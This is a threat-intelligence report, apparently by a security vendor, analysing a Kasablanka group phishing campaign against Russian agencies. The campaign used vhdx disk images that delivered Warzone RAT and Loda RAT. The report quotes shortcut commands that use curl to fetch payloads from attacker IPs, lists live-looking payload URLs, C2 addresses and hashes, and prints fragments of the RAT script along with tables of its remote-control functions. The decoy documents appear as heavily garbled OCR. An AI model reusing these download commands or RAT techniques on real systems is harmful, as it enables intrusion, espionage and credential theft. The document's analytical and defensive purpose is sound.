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Overview

APT groups often use some uncommon file types to host malicious code in order to increase
the probability of immunity against antivirus software, such as CD-ROM image files (.iso) and
virtual hard disk files (.vhd), which we have monitored for abuse in recent years. And the use
of these two formats can effectively circumvent the MOTW mechanism (a security measure
in which Windows displays a warning message when a user tries to open a file downloaded
from the Internet). The effectiveness of the Lazarus group's attack campaign was evident
back in November '22 when we disclosed that its attack components using the vhdx format
had a detection rate of 0 on VirusTotal.

When combing through the recently uploaded vhdx files we found that from September to
December 2022, Kasablanka group is suspected of attacking Russia, and its targets include
the Russian Federal Government Cooperation Agency, the Ministry of Foreign
Communications of the Astrakhan Region of Russia, etc., and the detection rate of some
samples is always 0.

Analyzing and organizing the captured samples, the Kasablanka group used a socially
engineered phishing email as the entry point for the attack, with a virtual disk image file
attached, which nested a variety of next-stage payload executions including Ink files, zip
packages, and executables. In the early stages of the attack the final execution was the
commercial Trojan Warzone RAT, in the later stages of the attack we observed that the
executed Trojan changed to Loda RAT.
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Decoy File

A phishing attack against the Agency of the Government of the Russian Federation for CIS
Affairs, Aliens and International Humanitarian Cooperation, or "PoccoTpygHuyecTso".

H B CPOUHO: Daxc NO9546/2c - 84 (HTML) T E - O x
w:
X Q@R Qre = Y oo G B P HEE &y wen
Rk € .2 - e Brms-
- e &5 2EFpEsE 25 = | ®a AROA = o 87 ETA
B - N i S RIEER - hymEe
e WR EE |; ®a IS L] BRA ~
2022/10/28 (B) 1455
EsreHuii AnekcaHgposud Mpumakos <97845147@mail.ru>
CPOYHO: ®akc N29546/2¢
wEA
B [ oaxc N295dB2Cwhdx (8 MB)
Yeazaemue Kommeru!
Hanpasnsem mavepwams x ucx. B 95462/2c
Mpocint nORTREpmATH momyuemse M CXAMMBAEMOCTH GAIOB.
C YeaxenueM,
Ipvmaxos Esvemssi Anexcaspposwd,
PyKOBOOMTEIb
PoccompymmmsecTEo
MR =E X (fER) (= v Iad X (F&EK) =R BE v
YBaxaeMble Konneru! X FENRH! RAg
HanpaBngem Matepuans K ucx. N2 95462/2¢ HAVGRERESE, RS 95462/2s
MpocuM NOATBEPANTD NONYUYEHME W CKaUMBAEMOCTb (aimoB. TETRABE RO,
C YBaxeHuem, B,
MpumakoB EBreHni AnekcaHapoBuy, EBEDRENERBIHEDSES,
PyKoBOAWTENb S
PoccoTpyaHM4ecTso BBHAIEE
Qinai de tongshimen!
Uvazhayemyye Kollegi! Napravlyayem materialy k iskh. N¢ 95462/2s Prosim podtverdit’ e
polucheniye i skachivayemost faylov. S Uvazheniyem, Primakov Yevgeniy iameniznglealiscimscpdlolbaniaciiianbachEE 2R
Aleksandrovich, Rukovoditel Rossotrudnichestvo B
0 20475000 < a % <
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Phishing email attack against the Ministry of Foreign Communications of the Astrakhan
Region of Russia.

B Fud: Vicxoanues coaBuerine N9478 - ES¢E (HTML) 7@ - 0 X
Q& Qmew Yl Bonenee oy fwes ayy =
< 2 e BimEE-
aE eEEN NE B e Z =2 B2 ST
- - Miexmmsm - hEE-
i3 waL #a e N RS wE ST ~
2022/12/7 (F=) 14:44
mid-inter@astrobl.ru <oper@voda.gov.ru>
Fwd: Mcxoaawee coobuerme N2479
LZIN
B [ Temcu pdivhdx
HoBpoe y1po

& MpUAOX eI MUCIE O BcTpeve ¢ erorcynom PK Maguessi A E

€ yeaxenuew,

Ny B.C

OTAEN PErHOHANLHOTD COTPYAHMIECTRA,
IMUHHCTEPCTEG BHEWHUX CBASeH
AcTpaxanckoli 06nacT

414000, r.AcTpaxakb, yn. Sennaragnan, 45
ven. +7 (8512) 51-97-02, +7 (8512) 516507,
e-mail: mid-inter@astrobl.ru

www.mid astrobl.ru

BEHHMMAaHWHEe! BHEWHUN OTNpPaBUTE b,
MHTEepHET cCamMTa, ECTU BH He YBepeHH,
OTKPHEBEAMTE BETOXEHHHA,

B coofmMeHMH BO3MOXHAE CCHTKAa Ha pecypc
TO He MCHOOTNL3YHMTE e (BO3MOXHO BMpYC) M He

Warning! External sender. The emeil may contain a link to a web resource. Never click on the link, if the email looks suspicious (it may

contain a virus), or open any attachment.

@ =& nid-inter@astroblru MESEE.

EMENEE 3=E R (fEiE) &5 v I
Hospoe yTpo, X

B NPUNOXeHMI NUCbMo o BeTpese ¢ lerkoHcynom PK Maavesbiv
AE

C yBaeHueMm,

Nykwm B.C.

OT/leN PeruoHanbHOro COTPYAHNYECTBa,
MWHWCTEPCTBO BHEWHNX CBA3EM
AcTpaxaHcKoi o6nacTu

4714000, r. AcTpaxaHb, yn. 3cnnaHagHas, 45
Ten. +7 (8512) 51-97-02, +7 (8512) 51-65-07,
e-mail: mid-inter@astrobl.ru
www.mid.astrobl.ru

Dobroye utro, v prilozhenii pismo o vstreche s Genkonsulom RK Madiyevym A.Ye. S
uvazheniyem, Lukin V.S. otdel regionalnogo sotrudnichestva, Ministerstvo vneshnikh
svyazey Astrakhanskoy oblasti 414000, g Astrakhan, ul. Esplanadnaya, 45 tel. +7 (8512)

B

£ D) 326 / 5000

M -

The translation of the phishing email is as follows:

b
il
m
il
<

Rz (M)

B, ¢
Bt E—HX T2 MIATEFREHESAE D4R Madiev A E. RIS,

CEiH

IRE=S
XiEATFER,
HhEER
[DLEEEES: 17

414000, WIEVSIIE, 2, JREAHE, 45%
EjE +7 (8512) 51-97-02, +7 (8512) 51-65-07,
EBFHB#E: mid-inter@astrobl.ru
www.mid.astrobl.ru

Zaoshang hao,
fia shang yT féng guanyd huijian hasake sitéin gonghégué zonglingshi Madiev A.E. De
xinjian.

EX
0 0O % <

One of the phishing email attachments uses the situation related to the Republic of Turkey in
2022 as a bait.
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TYPELIKAA PECITYBJIHKA

(cnpaska 1o cxeme)

Typenkas Pecnydmka (Typunsa). Mveer cyxonyTiyio rpanuuy ¢ Ipysueii,
Apmeneli, AsepGaiivanon, Bonrapueii, Tpeuneii, Cipreil, Hpaxom, Hpanos.

Ha UepHos MOpe HMeeT OGNl TDAHHIY  OKOHOMHWCCKOW  30HHI

i wensa ¢ paieli i Ykpantoii.

Teppuropua — 7794 Thic. kb k. Pacn
" i (3%) B

naractes na asmarcron (97%)

omomenmi coctomt ws 81 npommm

Crommia — r.Awrkapa (c 1923 ), cowme 5,5 wan sarrecii. Kpymieiiumit
ropon - Crawdyn (Gonee 15 s srreneii)

Hacenenne — 84,68 ann wenosex. Hawmonanssii cocras: Typin (10%),
Kypabi (13%). apaGbi, YepKech, apMsie, TDEKM. €EDEM. NAI i ApyIHe
HADOAHOCTI.

TocyapeTnermbtii a3k — TypeLRiii.

Typuns — chetckoe rocynapetso. [OEMOACTRYIONEA PEAHTHA — HCTaM,

Tonka. C;

0B A1ABITOR (OMPENETAION CBOIO HHEACHHOCTh B 15 M SenoBer).

BIACTE  OC) cs 1

BCCOBUIIM TONOCOBIHIICM CPOKOM HA 5 JCT € BOIMOKHOCTBO HEPCHIBPANIA Ha

s1opoii cpok. € 9 mons 2018 r. Hpesuaent — P.T.3paoran.

Nas wiacTh T My nmapraventy -

Bermkony

wonanLiomy cobparmo Typumn (600 aerryraton), Tpeacenaten
naprasetta — M. Llletrron,

Cynefiian cucrewma B TYPIUM  COCTONT M3 YTONOBHO-TDGALAHCKIX,
ATMHHHCTPATHBHLIX 1 APGHTPAKHBIX CYA0B.

Boopysentibie cittbl. OBiias WHCICHHOCTE — OKOIO 480 Thic. HenoBeK

{uropoii no nemmsmie xonmmnrent n HATO).

Attacks using articles related to Russian import substitution and migration policy in 2015 as

bait.

Havia o
SACYHAPOALIAS MHIDALIA CTAUIR HEOTHEWIEMON ACTHIO (1
R e p—

2

Typums - papas crpana. B 2021 1.
ouenoano: ofkes BBIT - 740 sapa nonn. CLUA, poer BBII - 7.4 %, GespaGoruua
~ 112%, BBIT ka ayuwy nacenesins — 7.7 Thic. JOILL. BHELIHETOProBui 060pOT —

496,7 wmapn nona., aedmunT naarexnoro Gananca - 3,9% k BBI, nnduamm —
19.4%, suemiii gonr — Gonee 450 MDA ROMA., BRemmuil oA — $8.3% K&
BBIL Jlenesnas emmma — Typensas mpa (100 kypymeii)

Brewnan  nomwmika.  Hueer mmornomemni  Gosce  tiem  co
100 rocyaapersas. Sanserc wienom HATO ¢ 1952 . B 2005 r. nonysia
CTATyC CTPAMM-KAKIALATA Ha wickCTRO B EC, C KOTOPMM MMeCT COMTalcHIe

o Tavomennon cowose (c 1996 1.).

Typuws wien  Opranmsaim  UepHoMOPEKOro  IKOHOMHNECKOro
cOTpyAMIECTRA, VHACTBYET B NPOPAMMAX BIUMMOIEHCTBIA EPHOMODCKHX
cTpan B oGnacTi GesomacHocTn (JOKYMEHT O MepAX VKDEIISHHA JIOBGPHA
it GE30NACHOCTH B BOSHHO-MODEKOHl 0GMGCTH Ha UepHoM Mope, «BmwcHdop»,

«epHOMOPCKAR TAPMONIEY).

Bxoqur b cocras  p
wobsemmenii — «pynm awamaniy, OMC, O3CP, 09C, «Amsica
wimmsaiiy wap. B 2013 r. Typums nonyswa crarye mapmepa 1OC no
avanory

Buyrpena nommia. Ha socp "

wuiGopax 24 wioisn 2018 1. nobeay  pezyrtatom $2.6% oaepacann P.T.pporai

W KOQIHINA B COCTABE ii s laprian W pasiTHa
W TTapTHi HaImORATHETHYEEKOTO ABACHHA (344 113 600 MecT b MevRTICe),

C miona 2015 1. BeNTCA BOSHNAR OMEPAIINA NPOTHE OTPAGR JANPEHIEHTIO
B etpanie PaGoveii maprin Kypaerana. C 2019 r. Beniercs cepia crienonepanii
npoTHe kypaos na cesepe Hpara

15 wions 2016 . 5 Typusn NpOMSONTA HEYIQHHAS NONBTKA BOCHHOD

noeae KoTopoil ety apwin,
roCANNApATA, CYACBHAIX OPranoB, OBPASOBATCIEWEIY H WHMX  Yupeiciii

crpanm.

2015 fiN° 3(90)
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In addition, the Kasablanka group intercepted the first page from Resolution No. 1725
published on the official website of the Government of the Russian Federation as a decoy.
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MPABUTEJILCTBO POCCHHCKOH ®EJIEPALIMHU

NOCTAHOBIEHMWE

ot 20 oxradpa 2022 r. Ne 1725

MOCKBA

006 yreepiknenns [pasna npeocrasienns Npasa Ha NoJyveHue
OTCPOYKH OT NPHILIBA HA BOSHIYI0 COVKOY 1o MOGHIHIAUNN FPak1anam
Pocemiickoi Deepanmn

[lpaputenseTeo Poccuiickoii denepauri nocTaHOBAAET:

1. VreepanTs npunaraemeie [lpaspuna npenocTaBnenys npasa Ha
MOMYMEHHE OTCPOYMKH OT MPH3BIBA HA BOCHHYK cayx0y no MobHinzaumu
rpatanaM Pocouiickoit @eneparmn.

2. HacToAumee nocraHoBIeHHE BCTYNAST B CHOY ©O JHA €ro
OfHIHATEHOTD  OMYOIHKOBANNA W PACTPOCTPAHASTCA Ha NPABOOTHOIIEHHS,
Bo3HHKIIHE ¢ 21 cenTabpa 2022 r.

[punomenne: na 14 .

Hpencenarens Ipasnrensersa
Poccuiickoii thenepatun M.Mumyernn ¥YTBEPMEHEI
NOCTAHOBIICHHEM Ilpﬂlili'l'c.'lhd.! TBA
Pocewiickaii henepaunn ot 20
okTA0pA 2022 r. Na |725

And the relevant content of the draft Digital Code of Kyrgyzstan was used as a bait.

CITPABKA-OFOCHOBAHIIE osecneans E
< npoesry lppooro kozexca Keipracror Pecnyiamst 5 TOCIEIORaN CONTOMES  AETPOTIDOPESHROCTA TP HOCTETIRNIX Chepe SRR 59 TaERa SPIT IPNTE O TepoRIRT SHoRecTE
ese, 0GR EAAHO B SCIOBAIR SHCORI TAOE PEEMT pon soms
Ll i —— < Copramips cpranos snsmpomcro yrpssnemn sesneres gamvecn
oo s oss Kaprss P e v ; epaSormoiid B Atk 1548 He MpedCTSETeRA yTHS, SO TocyepeTEs
Konexlyy mmern Tk AacmGury A oAk R m———— EnekTa tfpo80T PTG, 0Ty TCTEY €T pRiTpUeNE HOTHOOE
mmwnnemal\upnu i Pecrytama 1 esn T Sopoms s ropamisnoi rpasocoil G, delcneyvouei na s i i
s i cpens Tipmurmae poett Foseics cowemmmiiere paspatons rpoetma ropsiamenoio  rpaoiois @, 4o 5 Sommence i ipom e  ssors
s perpcse oo, s _Toces Somonopuace u ovene saroncoameuemea, celeeyueio ¢ davoi <Gepe s, Grpescnm o memcim o pebop
SEomosereciaa, TOSOTET CHOpLEoET STTOTPRATE ROpETIEE o oo RoCapeTseRore TSR, TOON i SRS Ga CCRORTERS 3
S acromae. spe Koprascras Peccytama
s Kaprascrol Pecayate. Py e Ycaeumiot peasana 1o 3521 o Aoy o BTN TP, 38, VTS B 2T S Venomt =
pax cors Jrpasten, ocaoamoro a TN ame 5 TOG TPCTEATIN
YGTYT FOCYIBPCTECH  VACTIASH CEKTOPON, MPHEEAVT K OSSN Gonee FeficTeidt wgpozoit wc@mmﬂ W H$pOBOTO PAEKTHA TRBETH NQOPMADIOINNX CHCTEM Me HCTOTESYIOTCH IUA MPIBUTIEA pememsii i
&mu\n'pmﬂmumenmm(mnnma ; = x

e mepes, g w3 oapsee

SSmeTIGRGR  oTHoTeN, COTUOBX © HCHOTSORe: LApos

ook ez rpoete Kozesca qercs cosiume Srrorpirmas:
TpRBOTAD. YCORH, R ST L PEATROAAR B 00663 SEAOREED
g+ ambpou: o pe Tdpenol
Hprncroh  Peeams, . 8 Taces | ronsseme  imecnasiomch

oy Lo tozmcs mmers cosmame ot dupitano
R CTpRTIOD: TpRBOR  OpS,  O0SSTEURASTIR

sirnepecos sce sunrtepecosamac \uacTCE

Secnpenmcrzemoro MnomsceEE TEMMMOnSl TR MTVABEML
DR  crsem 1 peaons saxcHomTenIRL
Oxospevesmo ¢ ST, HOCpeXTRON  paspabomt

% oty coumeres s G g YT P,

mpposssx pemennsi Kpowe S1oro, 5 TpaBOTpimiemeTsEch TpasTeze A%
rpuea, Gusweca  TocympeTIeme opracs yiohwo X sbberriauo
RTOa0sT, emaml ROPUETHBA:S: TPABOROM ST, OSeTEGTI: 508

Sample Analysis

Tpasoma aiicn. G0

CORPRIIT TPRETTSD: SAKORCS, CTATE CECTOSTIR! TPEATCTSASS ATk

MeRZY GoGoR, O NPENATCTEYeT MOCTRORKIID SSBMOCERIRCH CHCTENa!

nocrpoemm
T

PP sepana T W T i o

4B ot pasozcit
e pacTpeererE: KEGOPATIONGIR CHOTEN, & TaKKe OTCITOTRYRT
Se08us 718 HeoBXCTRMEro B Yerosi mafposoll SOOI DEPENOTA OT

TERTOOSOpOTa K YIRS, v

RHRNERTHp 0GR AT KICHTICE ofepst CERSH 5
[ R .
rpocTpacToenns: zuon, mSepSescraciocTt W T3 OBKo Immmis
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TN ROPITIBEN | DpIBOSNX  &KIOB, EX
piposmemocns,  aTrse Sommero KTMeSTE) fpasom Rovuus

EOCY TpCTBESIBIR OFaoR, OTCYICTERS T0CTETOTR0: TPABOSKT CI0RME 2T

peImesuil (Iafpossie TERH, BORYCCTRRRR HTETIES, POSOTOTORZ,
Saoxuel, Gomizie Tone, HBpoEie TGO X SKOCHETENS 1 1) 5

mossoer nepexomiTs T g
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Oromer cramprums "1 ches  smpomors
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omereTe WaOTY swoTeDTES Pl oo 5
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The captured samples are all virtual disk image files (.vhdx suffix), and the sample decoy
names and contents are in Russian and uploaded from Russian regions. Some of the
samples use Ink files as downloaders for the next stage payload.

-

£ EiHE ESiiel Fh
System Volume Information 2022/9/27 8:37 o=
Elzs 2022/11/28 8:48 =
@MO—QBOfIfSM‘pd{ 2022/11/19 7:59 Microsoft Edge ... 726 KB
2| Wex Neagg 2022/11/28 815 A=t 2 KB
5 Mex Nedso Bt %
£ EEES Bl
=) BEEAT I 2 & wa
A5
| = WMex N2439
Eha=aith RiFERF
BiFiE: system32
BT .exe fc| curl http://179.60.150,118/new.exs -0 %-|
EHES): | |

Some attack samples package the decoy and Warzone RAT into a zip file in a virtual disk
image file.

E= B ESiil Fuh
System Velume Information 2022/9/27 8:37 i
Ers 2022/9/27 8:38 T

## Nocranosacrme o6 orcpouke.rar 2022/10/26 12:39 WinRAR FEEESTi: 526 KB

8 Nocrarosnenne o6 otcpouke.rar CREREE)
() ®FC) TEE) WER0) BEAN) ®EH)

BEDOie 0058 =
0 #BEE R1L=o BB il =3 =i 2ES EE aESE 1= e SREEE
r |u Nocramosnenme of orcpouke.rar - RAR FEEETE, B/ 2,003,610 35

EfR Foh EEEF = R CRC3
[ new.exe 2,767,360 413,631 RIERRE 2022/10/26 1. 1F65€
NN Ne1725.pdf 113,444 104,323 Microsoft Edge .. 2022/10/22 1. 58B1f
[] Crncox cotpyanuicos - 2 uacts.docx 22,815 20,174 Office Open XM.. 2022/10/221.. CE50¢

Or there is no decoy file and the Ink file is directly disguised as a folder to lure victims to click
on it.
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1y

=

System Volume Information
Bl
2 In-L-CPCR-7542-2022.pdf

We have sorted out links to download the relevant payloads, as shown in the table below :

Links
http://179.60.150.118/new.exe

ENAS == Foh

2022/9/27 8:37 it
2022/9/27 8:38 it
2022/9/27 8:26 REAT 3 KB

¢ In-L-CPCR-75342-2022.pdf [E#E

=is EHEE LiETRIkEE
= AT IR =i wE BE
a In-L-CPCR-7542-2022.pdf
SknEich RIFEERE
BinirE: system32
B Nemd.exe ,ﬂplcurl http:m93.149.129.151;umsys||

BBEEE): ‘ ‘

Remarks

Warzone RAT

http://89.22.233.149/ms7 .hta

Unknown

http://193.149.129.151/vmsys

Unknown

http://45.61.137.32/www.exe

Warzone RAT

http://45.61.137.32/svvhost.rar

Loda RAT

http://45.61.137.32/Scanned_document.exe Loda RAT

Warzone RAT

Warzone RAT, also known as AveMaria RAT, is a commercial trojan developed in pure
C/C++, which has been sold publicly on the internet as a software subscription since 2018
and is compatible with systems below Windows 10, with remote desktop, password stealing,
keylogging, remote commands, permission elevation, download execution and many other
remote control functions. It has been used by several APT groups, including Confucius,

Bitter, Blind Eagle (APT-Q-98) and other groups .
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WARZONE RAT 3.0 iE&FEE

T WARZONE RAT #L5A:

SFHRE R
XP, Vista, 7. 8, 8.1, 10- 32 {ifFl 64 {

&R oo FE
[EEESES
EEAE

it I . o

https://streamable.com/Lryi8m

FHIE

R, MR
X RAT BITEIRER C- /581, XEESEITT NET Framework,

RS
LA JsON $BTLMEETHY Chrome #] Firefox =4S cookie,

IR E

L4 60 FPS ESEEITEREIHEN!
EREE RS IR B
ITESEEEET RN vNC S,

FeEIimi2 S E - HRDP

TSR L

HRDP SR TS RAABRIER FEREITENE.
ELEHE TR LTS, S EALETHE.

BURIET - UAC &5
HEEE 1 AEREAHEER.
WTIEEEETIMEFHERRERT M. Windows 7 FIEERET Windows 10 B9 Windows IBIEFRZ.

MRTETEIEET EE SR, SRUEIEREERERTIHEEN.
IEEIEE

E AN TR e T M = miREE !

AR AR RS

Chrome, Firefox, Internet Explorer, Edge, Epic, UC, QQ. Opera, Blisk, SRWare Iron, Brave, Vivaldi,
Comedo Dragon, Torch, Slimjet, Cent
Outlook, Thunderbird, Foxmail

EREMEB TSR R =)

MTEESE
HiE LE TR, SRR TR

This captured Warzone RAT eventually establishes a TCP connection to the server
hbfyewtuvfbhsbdjhjwebfy.net (193.188.20.163) .

return result;
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It has a wide variety of remote control commands, including the following functions. :

Function

number Function

0x0 Obtain information about the controlled machine

0x2 Get process list information

Ox4 Get drive information

0x6 Get directory information

0x8 Retrieving files from the victim device's folder

OxA Delete the specified file

0xC Ends the specified process

OxE Remote shell

0x10 Ends the specified thread

0x12 List the victim's camera device information

0x14 Turn on the camera

0x16 Stop the camera

0x18 Get the title of the active program

0x1A Exit and delete your own files

0x1C Downloading files to the controlled end

0x20 Get browser password

0x22 !?ownload the file from the given URL to the controlled end and execute
i

0x24 Online keylogging

0x26 Offline keylogging

0x28 Install HRDP Manager on the victim's device

Ox2A Enable reverse proxy

0x2C Stop reverse proxy

0x30 Start remote VNC
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Function
number Function

0x32 Shutting down remote VNC

0x38 Reverse proxy port settings
Ox3A Execute or open the specified file
0x48 Injection into the specified process

Ox4A Traversing to get file information

0x4C Multiple post-command breakdowns, including shutdown, network test,
exit, etc

Loda RAT

Loda RAT is a proprietary malware written in Autolt script language, first captured and
disclosed in the wild by Proofpoint in September 2016, the name 'Loda' derives from the
malware author's choice of directory to write keylogger logs to as Loda.Subsequently Cisco
discovered multiple variants of Loda RAT and found that the RAT added spying capabilities
to the Android platform. After a series of investigations, Cisco concluded that the group using
the malware was based in Morocco and named the group Kasablanka (the largest city in
Morocco) ['l.

Analysis of the captured sample showed that it was written in C# and obfuscated so
extensively that common tools could not decompile it, and added a large amount of 00 data
at the end of the PE file, swelling the entire file size to 741MB.

4

svvhost exe (@

86:09EQOh: 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00
86:09F0h:| 00 00 00 00 00 00 00 00 00 QC 00 00 00 00 00 00
LU0 HIl00 40 86 00 OC 00 00 00 OC 30 00 OOpsldavIviglsRysls]
86:0A10h: 00 00 00 00 00 00 00 OQ 00 OC 00 00 00 00 00 00
86:0A20n: 00 00 00 0O 0O 00 00 OC 00 QC 00 0O 0O 00 00 00
86:0A30n:| 00 00 00 00 00 00 00 00 00 0O 0O 0O 00 00 00 00
86:0A40h: 00 00 00 00 00 00 00 00 OO 0O 0O 0O 00 00 00 00
86:0A50h:| 00 00 00 00 00 00 00 00 00 QC 00 0O 00 00 00 00
B86:0A60n: 00 00 00 00 00 00 QO OC 00 OO 00 00 0O 00 00 00
86:0A70h: 00 00 00 00 00 00 Q0 OQ 00 OC 00 00 00 00 00 00
86:0A80h: 00 00 00 00 0O 00 QO OO 00 OC 00 OO 0O 00 00 0O
86:0A90N:| 00 00 00 00 0O 00 00 00 00 0O 0O 0O 00 00 00 00
86:0RA0ON: 00 00 00 00 0O 00 00 00 00 0OC 0O 0O 00 00 00 00
86:0ABOh:| 00 00 00 00 00 00 00 00 00 0O 00 0O 00 00 00 00
86:0ACON:| 00 00 00 00 00 00 00 00 00 QO 00 00 00 00 00 00
86:0ADOR: 00 00 00 00 00 00 00 OQ 00 OC 00 00 00 00 00 OO0
86:0AEOh: 00 00 00 00 00 00 00 OC 00 OO 00 00 00 00 00 0O
86:0AFOh: 00 0C 00 0O 00 00 00 OC 00 OC 00 0O 00 00 00 00
86:0BOOh: 00 00 00 00 0O 00 00 00 OO 0O 0O 0O 00 00 00 00
86:0B10h:| 00 00 00 00 00 00 00 00 OO 0O 00 0O 00 00 00 00
86:0B20h:/ 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00

Template Results — EXE. bt x
Hame Value Start Size Color
struct IMAGE_DOS_HEADER DosHeader oh 40k Fg Bz
struct IMAGE_DOS_STUE DosStub 40h 40k Fg Bg
struct TMAGE_NT_HEADEES NtHeader &0h Feh Fg Bz
strnot IMAGE_SECTION_HEADER SectionHeaders[5] 178k csh Fz Bz

strnot IMAGE_SECTION DATA Sectien[0] "Wk { 400h 201E00h Fz Bz
struct TMAGE_SECTION DATA Se

strnet TMAGE_SECTION_DIATR Se.

onf1] text 202200k 65DE00R Fg Bz
onlz] rere 860000k s00h Fg Bz
struct TMAGE_SECTION DATA Seotion[3] 860500h 200k Fg Bz
struct TMAGE_SECTION_DATA Seotion[4] reloc B60A00R 200k Fg: Be:
struct TMAGE_IMPORT_DESCRIPTOR ImportDescriptor ~ mscoree a1 202E3ch 42h Fg:  Bg
¥ struot BASE_RELOCATION_TABLE Rel. 860A00h ch Fg: Bzt 1
<truot IWAGE BASE RFLOCATION BaceReloc 560A00h

10/17



After execution, the sample first releases and executes the Loda RAT packaged with Autolt
in the %appdata% directory, and the Autolt script can be restored by using the deep analysis

function of QiAnXin's Threat Intelligence Center Cloud Sandbox, and the behavior and
functions of the trojan can be seen by analyzing the script.

0000000% 00000011 00000012 00000073
00000009 0000000 1 00000004 00000002
00000003 00000004 00000074 0000000a
00000014 00000067 00000000 00000034
00000039 00000017
AUTOITEIZA
ENDIF T

$IP5D="185.181.165.185"

$PORSD="443" =Lz

OR=FILEGETVERSTON( "winver .exe")

IF STRINGLEFT(STOOOR,2)="10" THEN

SOSVERSTON="HIN_12"

RXIHER

Loda RAT first detect antivirus products installed on victim machines through WMI
commands.

If IsObj($owmi)
$colitems =

If NOT IsObj

For rusproduc

] = $objantiv .

1 = $objantivirusproduct.

n $larray8

Followed operation is collecting some information of victim host, including permissions,
operating system version, etc.
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If IsAdmin()

icname =

woor = FileGetWersion
Left($tooor, 2) = :
io "WIN 18"

And adding persistentence by creating %appdata%\Windata\svshost.exe and NFOKQN.Ink
shortcut to svshost.exe in windows startup directory.

vvahk & $ffazezs & "\" & $vvahk, $bbjnnnn, $bbjnnnn, @SystembDir &

e” & $vvahk)

- & @MON & "-" & @YEAI

& @MON & "-" & @YEAR &

" & @MON & "-" & @YEAR & "/ & $stext:

-" & @MON & "-" & @YEAR & "/" & $stextzw & "

()
rXtit” & @UserName & "Str” & $vicname & "bdt” & %

Subsequently enter the remote control loop, by processing the data returned by C2, and then
correspond to the detailed remote control instructions, and its remote control instructions
divided into a relatively fine function, rough statistics have 144 remote control instructions,
due to the reasons of space, we will not do a detailed introduction, a general overview of its
remote control functions.

¢ Recording
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Upload and download files

Execute the specified file

Shutdown

Close the specified process

Stealing user cookies, passwords

Turn on keylogger

Delete keylogger data

Download and execute the file from the specified URL
Get file or directory size

Allow RDP connections by modifying the registry
Compressing/uncompressing files

Copy files or directories

Enumerate connected drives

Enumerate hot folder locations

Detect UAC settings

Send mouse clicks (to the left or right is a separate command)

Capture screenshots and send to C2
Open/close CD trays

Recording

Turn off Windows Firewall

Send the name of running processes to C2
Exit, uninstall

Create a GUI chat window to save the victim/attacker conversation to a file

In addition, in the previous version, LodaRAT downloaded SQLite3.dll from the official Autolt
website because it was needed to extract sensitive information from the browser database,
but the embedded URL had been unavailable for download. So in the latest version, the
Kasablanka group transcoded it directly to hex, embedded in in the script.

e, 1)

117, Stempfile, 1)

te_inline modified(), @
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Association & Attribution

In C2:193.149.129.151, we trace back to Trojan "systeml.dll", written in C# and only 8.5KB in
size, whose function is to download WinScp tools to synchronize files with remote computers
and set scheduled tasks to persist, making it a potential backdoor.

In another C2: 179.60.150.118, we associate two files packaged by Pyinstaller, both of them
are downloaders and have the same core code.

After Base64 decoding, you can clearly see that by requesting port 443 of 179.60.150.118 to
get the follow-up payload to execute, and the payload is Warzone RAT or CS Trojan.

o Nl
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Some security vendors believe that Loda RAT is the exclusive trojan of Kasablanka group,
but since Loda RAT is compiled from Autolt scripts and its source code can be obtained by
decompiling it, 'false flag' activities by other threat actors using the decompiled source code
are also possible.

In terms of attack motivation, we believe that the purpose of this attack is mainly for
information gathering and espionage. Considering the current situation between Russia and
Ukraine, intelligence spying and espionage are more in line with the motivation of nation-
sponsered hacker groups, so we attribute this attack to Kasablanka group with moderate
confidence.

Summary

In previous disclosures of the Kasablanka group's operations, its targets included
Bangladesh, South America and the United States, and its Loda RAT includes Windows
version and Android version.Now this group often uses commercial RATs in its attack
activities, which not only reduces the development cost but also makes it difficult for tracing
attackers’ footprints.

The RedDrip team would like to remind all users not to open links of unknown origin shared
by social media, not to click on email attachments from unknown sources, not to run
unknown files with exaggerated titles, not to install APPs from informal sources, to back up
important files in a timely manner, and to update and install patches.

If you need to run or install an application of unknown origin, you can first identify it through
the QiAnXin Threat Intelligence File Deep Analysis Platform
(https://sandbox.ti.gianxin.com/sandbox/page). At present, it supports deep analysis of files
in various formats including Windows and Android platforms.

Currently, a full line of products based on the threat intelligence data from the QiAnXin
Threat Intelligence Center, including the QiAnXin Threat Intelligence Platform (TIP),
SkyRock, QiAnXin Advanced Threat Detection System, QiAnXin NGSOC, QiAnXin
Situational Awareness, etc., already support the accurate detection of such attacks [,
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d82743e8f242b6a548a17543c807b7b0
32a0a7fa5893dd8d1038d1d1a9bc277a
bd5c665187dfb73fc81163c2c03b2ddf
a07c6e759e51f856c96fc3434b6aa9f8
0dcd949983cb49ad360428f464c19a9¢e
87125803f156d15ed3ce2a18fe9daz2b8
4f7e2f5b0f669599e43463b70fb514ad
00b9b126a3ed8609f9c41971155307be
C2

179.60.150.118

45.61.137.32

89.22.233.149

193.149.129.151

193.149.176.254

Reference Links

[1] https://blog.talosintelligence.com/kasablanka-lodarat/
[2] https://ti.gianxin.com/
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